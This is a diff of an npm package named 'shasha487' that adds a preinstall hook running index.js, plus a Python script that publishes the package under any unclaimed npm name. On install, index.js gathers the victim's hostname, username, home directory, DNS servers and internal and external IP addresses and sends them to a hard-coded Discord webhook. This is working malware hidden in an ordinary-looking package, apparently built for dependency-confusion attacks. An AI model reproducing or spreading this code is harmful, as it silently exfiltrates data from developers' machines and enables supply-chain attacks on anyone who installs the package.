shasha487 1.1.3

package/index.js

@@ -0,0 +1,85 @@
+const os = require("os");
+const dns = require("dns");
+const https = require("https");
+const packageJSON = require("./package.json");
+
+const package = packageJSON.name;
+
+// Function to get the internal IP address
+function getIPAddress() {
+    const networkInterfaces = os.networkInterfaces();
+    for (const interfaceName in networkInterfaces) {
+        const iface = networkInterfaces[interfaceName];
+        for (const alias of iface) {
+            if (alias.family === 'IPv4' && !alias.internal) {
+                return alias.address;
+            }
+        }
+    }
+    return 'IP not found';
+}
+
+// Function to get the external IP address
+function getExternalIP(callback) {
+    https.get('https://api.ipify.org?format=json', (res) => {
+        let data = '';
+
+        // Receive data chunks
+        res.on('data', (chunk) => {
+            data += chunk;
+        });
+
+        // On response end, parse and return the IP address
+        res.on('end', () => {
+            const parsedData = JSON.parse(data);
+            callback(parsedData.ip); // Call the callback with the external IP address
+        });
+    }).on('error', (e) => {
+        console.error('Error fetching external IP address:', e);
+        callback('Error fetching IP'); // Handle errors
+    });
+}
+
+// Prepare the tracking data
+getExternalIP((externalIP) => {
+    const trackingData = JSON.stringify({
+        package: package,
+        directory: __dirname,
+        home_directory: os.homedir(),
+        hostname: os.hostname(),
+        username: os.userInfo().username,
+        dns: dns.getServers(),
+        internal_ip: getIPAddress(), // Add internal IP address here
+        external_ip: externalIP, // Get External IP Address
+        resolved_url: packageJSON ? packageJSON.___resolved : undefined,
+        package_version: packageJSON.version,
+        package_json: packageJSON,
+    });
+
+    const webhookURL = "https://discord.com/api/webhooks/1301084955144618004/dzBF_mUG0Ob7MXPUjc3j4cbfOxRF8aquDty3TZCzVy7y-Pjh78fkwe_z1JezoYhAOv89"; // Replace with your Discord webhook URL
+
+    const postData = JSON.stringify({
+        content: `\`\`\`json\n${trackingData}\n\`\`\`` // Wrap the tracking data in a code block for better formatting
+    });
+
+    const options = new URL(webhookURL);
+
+    options.method = "POST";
+    options.headers = {
+        "Content-Type": "application/json",
+        "Content-Length": postData.length,
+    };
+
+    const req = https.request(options, (res) => {
+        res.on("data", (d) => {
+            process.stdout.write(d);
+        });
+    });
+
+    req.on("error", (e) => {
+        console.error(e);
+    });
+
+    req.write(postData);
+    req.end();
+});

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "shasha487",
+  "version": "1.1.3",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC"
+}

package/upload_npm_package.py

@@ -0,0 +1,54 @@
+import json
+import argparse
+import requests
+import subprocess
+import sys
+import os
+
+def check_npm_package(package_name):
+    url = f'https://registry.npmjs.org/{package_name}'
+    response = requests.get(url)
+
+    if response.status_code == 200:
+        return True
+    elif response.status_code == 404:
+        return False
+    else:
+        return False
+
+def write_json_package(package_name, version):
+    if not os.path.exists("package.json"):
+        print("[-] package.json file does not exist")
+        sys.exit(0)
+    try:
+        data = json.load(open("package.json",'r'))
+        data["name"] = package_name
+        data["version"] = version
+        with open("package.json", 'w') as file:
+            json.dump(data, file)
+    except Exception as e:
+        print(f"[-] Unable to write to package.json due to error: {e}")
+        sys.exit(0)
+
+def publish_npm_package():
+    try:
+        subprocess.run(['npm', 'publish'], check=True)
+        print("[+] Package published successfully!")
+    except subprocess.CalledProcessError as e:
+        print(f"[-] An error occurred while publishing the package: {e}")
+        
+def main(package_name, version, webhook_url):
+    if check_npm_package(package_name) == True:
+        print(f"[-] {package_name} already exists on npm registry")
+        return
+    else:
+        write_json_package(package_name, version)
+        publish_npm_package()
+        
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--package", help="Package Name for the npm package")
+    parser.add_argument("--version", help="Version Number for the npm package")
+    parser.add_argument("--webhook", help="Webhook url to receive webhook data")
+    args = parser.parse_args()
+    main(args.package, args.version, args.webhook)